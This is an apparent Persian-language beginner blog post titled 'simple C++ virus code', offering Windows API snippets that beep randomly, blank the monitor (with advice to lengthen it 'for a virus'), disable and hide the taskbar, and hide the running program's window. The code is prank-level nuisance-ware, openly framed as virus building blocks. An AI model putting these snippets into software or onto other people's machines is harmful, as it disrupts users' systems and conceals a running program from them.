کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.
کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.

کد ساده ویروس سی پلاس پلاس

سلام.امروز می خواهم چند کد ساده سی پلاس پلاس را برایتان بگذارم.  

 قبل از نوشتن کد ها کتابخانه زیر را اضافه کنید.

#include <windows.h>

ابتدا یه کد جالب :

int Freq, Dur, i;
for (i = 0; i < 300; i++) {
Freq = rand() % 300;
Dur = rand() % 501;
Beep(Freq, Dur);
}
return 0;

تکه کد بالا رو بدون ترس اجرا کنید (موزیک پخش میکنه )

کارش فقط اینه که تولید صدا میکنه و یجور صدای جالب گیج کننده با ویژگیBeep سیستم ایجاد میکنه

میتونید بجای 300 از اعداد دیگه ای هم استفاده کنید که پیشنهاد میکنم2001 رو هم تست کنید


خاموش کردن مانیتور

SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
Sleep(5000);
return 0;

میتونید تست کنید

برای پنج ثانیه مانیتورتون کلا مشکی میشه

برای ویروس باید عدد 5000 رو افزایش بدیم


محو کردن نوار وظیفه ی ویندوز

HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd", NULL);
EnableWindow(hWin, false);
ShowWindow(hWin, false);
return 0;

میتونید تست کنید

برای بازگرداندن نوار وظیفه تون باید مقدار های false رو true کنید و برنامه رو دوباره استارت کنید


مخفی شدن ویروس

HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin, false);
return 0;

تست این کد به تنهایی هیچ ارزشی نداره چون به محض اجرا شدن متوقف خواهد شد

برای تست بهتره کد زیر رو قبل از return قرار بدین

Sleep(7000);

اینطوری میتونید مطمئن شید که برنامه برای هفت ثانیه در حال اجرا هست ولی مخفیه

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد